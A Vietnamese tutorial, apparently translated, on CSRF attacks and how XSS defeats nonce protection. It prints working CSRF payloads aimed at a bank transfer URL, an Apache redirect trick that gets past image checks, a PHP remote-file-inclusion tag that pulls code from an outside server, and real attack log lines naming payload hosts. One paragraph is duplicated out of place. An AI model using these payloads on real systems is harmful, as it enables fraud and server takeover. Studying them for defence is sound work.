XSS Tấn công và phòng thủ: CSRF
Có một kiểu tấn công cạnh tranh với XSS, cả trong việc dễ khai thác cũng như độ phổ biến, đó là CSRF (Cross-site request progeries - thỉnh thoảng cũng được viết tắt là XSRF). CSRF là một kiểu tấn công đơn giản nhưng có tác động rất lớn đến việc bảo mật các ứng dụng Web. Hãy xem một tên miền ...
Có một kiểu tấn công cạnh tranh với XSS, cả trong việc dễ khai thác cũng như độ phổ biến, đó là CSRF (Cross-site request progeries - thỉnh thoảng cũng được viết tắt là XSRF). CSRF là một kiểu tấn công đơn giản nhưng có tác động rất lớn đến việc bảo mật các ứng dụng Web. Hãy xem một tên miền tham chiếu chéo đơn giản có thể trông như thế nào trong một thẻ iframe
<iframe src=https://somebank.com></iframe>
Mặc dù đây là ví dụ trên là vô hại, chúng ta hãy chú ý đến những gì trình duyệt Web sẽ làm khi gặp đoạn mã trên. Giả thiết rằng bạn đã đăng nhập và xác thực thành công với trang somebank.com và bạn đã từng truy cập vào trang của ngân hàng trước đó. Giả thiết nữa là trình duyệt của bạn có thể xử lý các thẻ iframe, nó không chỉ show trang Web của ngân hàng, mà nó còn sử dụng cookie của bạn và gửi tới trang Web đó. Bây giờ, hãy thử tấn công CSRF với somebank.com:
<iframe src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456></iframe>
Đối tượng trong ví dụ trên không phải là một bức ảnh, nó nằm trên cùng một máy chủ, nên nó sẽ bị từ chối bởi máy chủ. Và người dùng sẽ được không phép đăng bài bình luận. Hơn nữa, một số hệ thống nghĩ rằng xác thực phần mở rộng của tên file là .jpg hoặc .gif là đủ để xác định rằng nó có thực sự là một bức ảnh hay không? Do đó, cú pháp chính xác có thể như sau:
<img src="http://ha.ckers.org/a.jpg">
Đoạn mã trên mô phỏng một cuộc tấn công CSRF trông như thế nào. Nó cố gắng làm người dùng thực hiện những hành động mà kẻ tấn công mong muốn. Trong trường hợp này, kẻ tấn công cố gắng làm người dùng gửi 1 triệu đô la $$tới tài khoản 123456. Thật không may, iframe không chỉ là cách duy nhất và tấn công CSRF có thể lợi dụng. Hãy xem xét một vài ví dụ khác.
<img src="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456%gt"> <bgsound SRC="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456">
Trong 3 ví dụ trên, kiểu dữ liệu mà trình duyệt nhận được không có dấu hiệu nào cho thấy đây là một cuộc tấn công. Ví dụ, một truy vấn từ 1 ảnh có thể là một file jpg hoặc gif, không phải là file html nhận được từ máy chủ Web. Tuy nhiên, vào thời điểm trình duyệt nhận ra một vài bất thường, thì cuộc tấn công đã xảy ra và kết thúc. Bởi vì đích đến là trang Web của ngân hàng đã nhận được truy vấn và thực hiện việc chuyển tiền.
Một điều khác khó chịu khác của CSRF là nó không chịu tuân theo chính sách chung nguồn gốc (same origin policy) Trong khi CSRF không thể được đọc từ tên miền khác, nhưng nó có thể tác động đến các tên miền. Để phòng tránh điều này, một vài trang Web sử dụng các token một lần dùng (nonces) được tích hợp vào các form hoặc URL. Các giá trị một lần dùng này được sinh ra khi người dùng truy cập vào trang Web, và đúng như tên của nó, nó sẽ thay đổi liên tục. Khi người dùng ấn vào một liên kết hay điền một form, token sẽ được gửi kèm theo truy vấn và được xác thực trên máy chủ. Nếu token là đúng, truy vấn sẽ được xử lý. Các token một lần dùng này có thể bảo vệ người dùng khỏi những cuộc tấn công bởi vì chỉ có một người có thể khai thác trang Web đó chính là người dùng đang truy cập và có token. Điều gì có thể xảy ra xung quanh việc này. Vâng, bạn có thể đoán được, đó chính là tấn công XSS.
XSS có khả năng hiển thị vào trong trang Web. Nó thể đọc các liên kết, quét trang vầ có thể đọc bất kỳ trang nào trên cùng một host. Miễn là có XSS trên trang Web đó, nonces có thể đọc được và CSRF có thể được lợi dụng. Đã có rất nhiều nghiên cứu về cách bảo vệ khỏi cách tấn công này, nhưng cho đến này, không có biện nào phòng chống nào hiệu qủa được xây dựng, vì mã độc Javascript có thể tương tác với trang Web như một người dùng thông thường.
Johann Hartmann đã viết một blog tiêu đề “Buy one XSS, get a CSRF for free.” (Mua một XSS, bạn sẽ có một CSRF miễn phí). Điều này hoàn toàn chính xác. Một khi bạn có thể tìm ra lỗ hổng XSS trên một trang Web, bạn không chỉ sở hữu trang Web đó, mà bạn còn có cơ hội gây ra các truy vấn đến các trang Web khác trên máy chủ. Bởi vì Javascript được một ngôn ngữ lập trình đầy đủ tính năng, nó rất dễ dàng để xáo trộn các liên kết và các đối tượng truy vấn, tất cả rất kín đáo và vô hình với nạn nhân.
Một vài hệ thống cho phép các đối tượng từ xa, nhưng chỉ sau khi họ xác thực các đối tượng này là thật và không ở trên máy chủ. Bằng cách này, kẻ tấn công không thể đơn giarn đặt đối tượng trên một bảng tin giả mạo ngân hàng và thực hiện liên kết tới thao tác khác:
<img src="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456">
Đối tượng trong ví dụ trên không phải là một bức ảnh, và nó nằm trên cùng máy chủ, do đó nó sẽ bị từ chối, và người dùng không được phép đăng các bài bình luận. Hơn nữa, một số hệ thống nghĩ rằng chỉ cần xác thực phần mở rộng của tên file là .jpg hoặc .gif là đủ để xác định rằng nó có thực sự là một bức ảnh hay không. Do đó, cú pháp đúng sẽ giống như ví dụ dưới đây:
<img src="http://ha.ckers.org/a.jpg">
Ngay cả khi máy chủ xác thực rằng bức ảnh là đúng, không có gì chứng minh rằng nó sẽ tiếp tục sau khi robot xác định các bức ảnh ở đó. Đây là nơi mà những kẻ tấn công có thể vượt qua các biện pháp bảo vệ CSRF. Bằng cách tạo chuyển hướng sau khi robot xác định bức ảnh là thật, kẻ tấn công có thẻ bắt buộc người dùng trong tương lai chuyển hướng đến một trang khác. Dưới đây là một ví dụ chuyển hướng Apache trong file httpd.conf hoặc .htaccess
Redirect 302 /a.jpg https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456
Dưới đây là một ví dụ truy vấn một khi người dùng truy cập đến trang có ảnh trong đó:
GET /a.jpg HTTP/1.0 Host: ha.ckers.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Accept: image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://somebank.com/board.asp?id=692381
Và đây là trả lời của máy chủ:
HTTP/1.1 302 Found Date: Fri, 23 Mar 2007 18:22:07 GMT Server: Apache Location: https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456 Content-Length: 251 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://somebank.com/transferfunds.asp?amnt= 1000000&acct=123456">here</a>.</p> </body></html>
Khi trình duyệt nhìn thấy chuyển hướng, nó sẽ chuyển hướng đến somebank.com cùng với những dữ liệu cookie đi kèm. Thật không may, tham chiếu URL sẽ không thay đổi trong trang chuyển hướng, vì thế nó rất khó để phát hiện tham chiếu URL trừ khi bạn biết chính xác trang nào là được truy cập trực tiếp. Thậm chí vẫn còn nhiều trình duyệt không gửi tham chiếu URL bởi vì các add-on bảo mật, do đó nó rất khó chứng minh. Kiểu tấn công này còn được gọi là session riding khi mà session của người dùng được sử dụng là một phanafa của tấn công. Ví dụ trên là một mô phỏng điển hình cách mà session có thể được sử dụng trong các cuộc tấn công. Nếu bạn quyết định thời gian hết hạn của session, bạn có thể xem xét lại nó.
Một điều khó chịu khác có thể được thực hiện bằng CSRF là tấn công bao gồm Hypertext Preprocessor (PHP). PHP là một ngôn ngữ lập trình đang ngày càng phổ biến hiện nay. Mặc dùng, nó rất hữu dụng và được sử dụng rộng rãi, nó cũng được sử dụng bởi những người có ít hiểu biết về bảo mật. Trong bài viết tôi không đi sâu vào đặc tả kỹ thuật của PHP, chúng ta hãy tập trung vào những gì mà kẻ tấn công có thể thực hiện. Hãy nghĩ rằng có một tấn công bao gồm PHP đối với victim.com nhưng kẻ tấn công không muốn tấn công nó một cách trực tiếp. Hắn ta muốn làm một người khác thực hiện cuộc tấn công này, khiến hắn khó bị theo dấu hơn.
Sử dụng XSS, CSRF hoặc kết hợp của cả 2, kẻ tấn công có thể khiến người dùng không nghi ngờ kết nối tới máy chủ Web từ xa và thực hiện cuộc tấn công theo ý đồ của hoăn. Ví dụ dưới đây chỉ sử dụng CSRF:
<img src="http://victim.com/blog/index.php?l=http://someserver.com/solo/kgb.c?">
Ví dụ trên xảy ra với một máy chủ production. Nó muốn máy chủ tải lên một file và chạy file đó như một máy chủ Web. Nó có thể bất cứ điều gì, những điều có thể bạn không tưởng tượng được. Thông thường, nó được sử dụng để tạo botnet. Bạn có thể thấy tại sao tấn công đơn giarn này có thể tàn phá mọi thứ. Kiểu tấn công này rất phổ biến. Dưới đây là một dạng của tấn công kiểu này lấy ra từ file log:
217.148.172.158 - - [14/Mar/2007:11:41:50 -0700] "GET /stringhttp://atc-dyk.dk/components/com_extcalendar/mic.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.64" 203.135.128.187 - - [15/Mar/2007:09:41:09 -0700] "GET /default.php?pag=http://atc-dyk.dk/components/com_extcalendar/mic.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.805" 129.240.85.149 - - [17/Mar/2007:01:01:50 -0700] "GET /rne/components/com_extcalendar/admin_events.php?http://www.cod2-servers.com/e107_themes/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.65" 64.34.176.215 - - [18/Mar/2007:17:22:11 -0700] "GET /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://Satan.altervista.org/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.805" 128.121.20.46 - - [18/Mar/2007:17:37:56 -0700] "GET /nuke_path/iframe.php?file=http://www.cod2-servers.com/e107_themes/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.65" 128.121.20.46 - - [18/Mar/2007:17:46:48 -0700] "GET /iframe.php?file=http://www.cod2-servers.com/e107_themes/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.65" 66.138.137.61 - - [18/Mar/2007:19:44:06 -0700] "GET /main.php?bla=http://stoerlein.de/images/kgb.c? HTTP/1.1" 302 204 "-" "libwww-perl/5.79" 85.17.11.53 - - [19/Mar/2007:19:51:56 -0700] "GET /main.php?tld=http://nawader.org/modules/Top/kgb.c? HTTP/1.1" 302 204 "-" "libwww-perl/5.79"
Bạn sẽ chú ý rằng một ví dụ đề sử dụng libwww để kết nối, làm nó trở nên rất dễ để phát hiện. Tuy nhiên, trên thực tế, không có lý do gì mà kẻ tấn công không tìm cách che giấu điều này, hoặc như chúng ta nhìn thấy ở trên, kẻ tấn công có thể sử dụng trình duyệt của người dùng để thực hiện tấn công theo ý đồ của hắn. Nó chính là sức mạnh của CSRF và XSS, kẻ tấn công sử dụng trình duyệt của người dùng để tấn công.
Đương nhiên người dùng không bao giowf được thông báo rằng trình duyệt của họ đang thực hiện một cuộc tấn công, và trong rất nhiểu trường hợp, nếu cache bị tắt, một khi trình duyệt bị tắt đi, họ sẽ mất toàn bộ bằng chứng rằng họ không phải là người mở đầu cuộc tấn công này. Chỉ có 1 cách bảo vệ khỏi CSRF hiệu quả, đó là làm trang Web của bạn sử dụng một vài dạng nonce và điều quan trọng nhất là đảm bảo nó không có lỗ hổng XSS. Ngay cả những lỗ hổng xác thực đầu vào nhỏ nhất cũng có thể gây tác hại khổng lồ. Hãy cẩn thận.